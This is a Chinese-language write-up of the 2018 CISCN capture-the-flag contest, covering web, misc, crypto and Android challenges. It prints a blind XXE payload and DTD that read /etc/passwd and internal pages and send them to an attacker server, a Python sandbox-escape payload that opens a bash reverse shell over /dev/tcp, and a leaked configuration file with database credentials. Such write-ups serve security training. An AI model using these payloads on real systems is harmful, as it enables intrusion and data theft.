国赛 ciscn 2018 Web Misc partial writeup

前言

会在近几天不断更新,。
(这次比赛对Web dog真的很不友好了...虽然不是第一次了,转行吧doge)

Web

web1

打开后是一个登录和注册,尝试在注册时注入,发现登陆后 ' " \ 已经被转义,尝试其他方法无果。
观察到cookie是ey开头,解base64得到jwt格式的cookie。
eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIyMjIifQ.eyJuYW1lIjoidGVzdCJ9.fwrm3jDKVF8TWvKTyaZym5Hy1lPfM-0Q5zugF568HGI
查了资料alg是hash算法,标准的应该是HMAC,而这里用的sha256,于是坑在了这里...
尝试构造cookie一直无法成功,最后使用admin空密码登录拿到admin的cookie,替换登陆成功的用户cookie即可。
很简单但是坑了巨长时间...一直在想这个sha256到底对那部分进行的hash..死活构造不出来

web3

根据提示找到了另一端口,谷歌查一下发现了类似的题目,同样也是idea目录泄漏信息,workspace里有一个类似xxe的内容。找到了一个:
Fi1N_VN2c6WoVtl4Ph5xvUTbJ51t
blindxxe,comment字段填写

%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20dtd%20SYSTEM%20%22http%3A%2F%2Fyoursite%2F1.dtd%22%3E%0A%25dtd%3B%5D%3E%0A%3Croot%2F%3E

在服务器上部署1.dtd,内容

<!ENTITY % file SYSTEM "php://filter/read=/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://yourvpsip/?file=%file;'>">
%all;
%send;

读到了文件,然后我们接着读config.php

<?php
//error_reporting(E_ALL^E_NOTICE^E_WARNING);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
//global $error_msg;
$DBHOST = "127.0.0.1";
$DBUSER = "root";
$DBPASS = "albertchang123";
//$DBPASS = "";
$DBNAME = "CISCNmessage";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME,3306);
if(mysqli_connect_errno()){
    echo "no sql connection!!!".mysqli_connect_error();
    $mysqli=null;
    die();
}
?>

本着应该不是原题毕竟没人做出来的原则,果然SECRETFILE不存在。
按照原有的思路我们继续读一下内网信息proc/net/arp,这里由于文件比较大要使用zlib压缩,参考最后的payload。

IP address       HW type     Flags       HW address            Mask     Device
...
192.168.223.239  0x1         0x0         00:00:00:00:00:00     *        eth0
192.168.223.222  0x1         0x2         02:42:c0:a8:df:de     *        eth0
192.168.223.193  0x1         0x0         00:00:00:00:00:00     *        eth0
192.168.223.18   0x1         0x0         00:00:00:00:00:00     *        eth0
192.168.223.253  0x1         0x0         00:00:00:00:00:00     *        eth0
192.168.223.236  0x1         0x0         00:00:00:00:00:00     *        eth0
...

删了部分内容,我们注意到一个MAC地址不为0的222。读一下:

1.dtd
<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.222/">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://123.206.45.69:8999/?file=%file;'>">
%all;
%send;

使用如下脚本还原(感觉php效果会好一些,能直接看到html效果):

<?php
$str = file_get_contents('./flag.txt');
$str = str_replace(" ","+",$str);
function decode($str){
	$str = base64_decode($str);
	$str = gzinflate($str);
	return $str;
}
print_r(decode($str));
?>

得到
Fn5l37q3KdiOALeGj4EFBLkUVhFj
没有flag,我们尝试其他文件。在test.php找到了

Online Shop System Testing!!!Our online sales system is coming soon.Now open the test interface to internal employees!!!This time is the last testing before online!!!So this time,we test the query and search interface at once !!!!start testing~~~~your goods's name is '',your goods's price is '',your goods's quantity is '',your goods's total is '',testing finish~~~~

看样子真是一个注入(这时候已经没救了)

找到的师傅的wp:
http://pupiles.com/qiangwangbei2.html

Misc

PICTURE

一个png图片,binwalk检测有内容,直接-e解所有内容,在解zlib后发现一串base64,解开后是一个文件头损坏的ZIP,使用010将4b 50互换。
恢复文件后发现有密码,给的提示需要找到一个exception描述。

Traceback (most recent call last):
  File "<pyshell#0>", line 1, in <module>
    ▆▆▆
ZeroDivisionError: ▆▆▆▆▆▆▆▆▆▆▆▆▆▆▆▆▆▆▆▆▆ <- password ;)
>>> 

即开后拿到code

begin 644 key.txt
G0TE30TY[.#,T1D4W,CDQ140X.#="1D4Y04,W,S,T,$-$045#131]
`
end

类似uuencode,而且是文件的形式,直接尝试使用uuencode解,拿到flag

RUN

python沙盒。屏蔽了import后的库,屏蔽了sys等,还有大部分bash。
既然提示要getshell,那肯定要有os。
通过基类的子类导入global func,最终找到os,然而system含有sys不能使用,尝试发现popen可以,反弹shell,python pty获取交互shell,在home里找到flag。
和php命令执行类似,对字符串的检测可以分成多个字符串绕过检测。
payload:
{}.__class__.__bases__[0].__subclasses__()[71].__getattribute__({}.__class__.__bases__[0].__subclasses__()[71].__init__.__func__,'func'+'_global' +'s')['o'+'s'].popen('bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"')

其他可以参考的资料:
https://blog.csdn.net/qq_35078631/article/details/78504415

寻找入侵者

队友用aircrack找到了wifi密码,之后发现导入wireshark一直不能解包,最后观察握手包发现ssid是Honey。
使用airdecap-ng -e Honey -p 88:25:93:c1:c8:eb hanshake.cap解包,里面有一条下载记录。下载下来是一个pcap包,strings一下,最后一条记录是!开头,即flag。或者在pcap包里找到最后一条记录。
如果使用wireshark的话需要生成一个psk,官方提供了一个在线工具
这个畸形的包找了很久,或许还是对801.11不熟悉,本来已经放弃了key.pcap,最后队友灵机一动,还是strings了一下,居然有flag...

Crypto

flag in your hand

调试下js发现和ic有关,在一个类似md5的函数里发现了ck函数,跟进去就是关键的判断逻辑了。

function ck(s) {
    try {
        ic
    } catch (e) {
        return;
    }
    var a = [101, 103, 100, 116, 118, 104, 102, 120, 117, 108, 119, 124];
    if (s.length == a.length) {
        for (i = 0; i < s.length; i++) {
            if (a[i] - s.charCodeAt(i) != 3)
                return ic = false;
        }
        return ic = true;
    }
    return ic = false;

很容易能够推断flag

Android

all_for_you

思路是,填一个16位字符串和数字(整数溢出),字符串会在so进行检验。
首先字符串在j_a函数进行处理,大概是一个tea加密。
然后按位异或判断。重点在于逆出tea的算法。
构造出符合要求的输入后,java层会对字符串进行解密(热dex),输出flag。

在Oncreate里面我们注意到这个事件

public void onClick(View v) {
    String input = String.valueOf(et.getText());
    MainActivity.this.ginput = input.trim(); // 字符串
    String strcount = String.valueOf(ct.getText()); //数字
    if (strcount.length() >= 3 && strcount.length() <= 11) {
        MainActivity.this.count = Integer.parseInt(strcount);
        if (MainActivity.this.count >= 10000 && MainActivity.this.ginput.length() >= 16 && MainActivity.this.ginput.length() <= 16 && MainActivity.this.verifycount(MainActivity.this.count)) { //字符串16位,数字判断
            if ("ok".equals(MainActivity.this.stringFromJNI(MainActivity.this.ginput, MainActivity.this.ginput.length()))) { //native 函数判断
                try {
                    String ivv = (A.getInstance().getAStr("123456", MainActivity.this.d, MainActivity.this.o, MainActivity.this.getClassLoader()) + String.valueOf(MainActivity.this.count) + String.valueOf(MainActivity.this.count)).substring(0, 16);
                    MainActivity.this.flag = DecryptHelper.decrypt("utf-8", MainActivity.this.ginput.getBytes(), ivv); //解密
                } catch (Exception e) {
                    e.printStackTrace();
                }
                tvflag.setText(MainActivity.this.flag);
            }
        }
    }

在进入native判断前,有一个

public boolean verifycount(int a) {
    String p1 = "duasodjaisdkmawdoasd";
    byte[] arg10 = p1.getBytes();
    Encode e = new Encode();
    e.encode(arg10);
    try {
        e.encryptDES(p1, "njandasdbasdiasndoas");
        if (new String((a * e.decode) + "").equals("96728810")) {
            return true;
        }
    } catch (Exception e1) {
        e1.printStackTrace();
    }
    return false;
}

动态调试发现e.decode结果为3,和我们静态分析的结果相同,DES只是为了迷惑。要找到一个满足整除的数,发现只能考虑整数溢出(参考了夜影大佬的思路)

p = 0
while(1):
    x = p * 0x100000000 + 96728810
    if(x%3==0):
        print("find: ", x//3)
        break
    p += 1

a为1463898702
之后就是native函数的判断,如果满足要求就利用热dex的对输入的字符串进行解密(在loaddex可看到处理过程,在/data/data/pacage找到dex),所以我们只需要把native函数逆出来就好。
在ida里面分析,发现主要逻辑在func函数里面,v10是输入的字符串
Fj245G2Hoa5CxD971s7n710Z-n0S
动态调试发现
Fpu8P3sSkeofIr9Eq0FmVTSIwvi7
输入的a1最后存在的key[4*i+24],即vv所在的内存地址。可理解为&key+24=&vv
在j_a函数里对输入进行了处理,然后进行异或判断。
然而跟进j_a里就搞不动了..,问了队友说是个tea,然而最后也没解出来。

ref:https://blog.csdn.net/whklhhhh/article/details/79157436

try get flag

过反调试或者脱爱加密的壳
相关操作参考:
https://jaq.alibaba.com/community/art/show?articleid=365
wp:
https://www.52pojie.cn/thread-732912-1-1.html
可以更改安卓内核pacth掉TracerPid,或者重新编译
GHOST_URL/re-modify-kernel-bypass-antidebug/

Illusion

so里面的check不是真正的逻辑,使用了动态注册产生真正的逻辑,可以在init array中找到一个字符取余逻辑。逆出来即可。

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus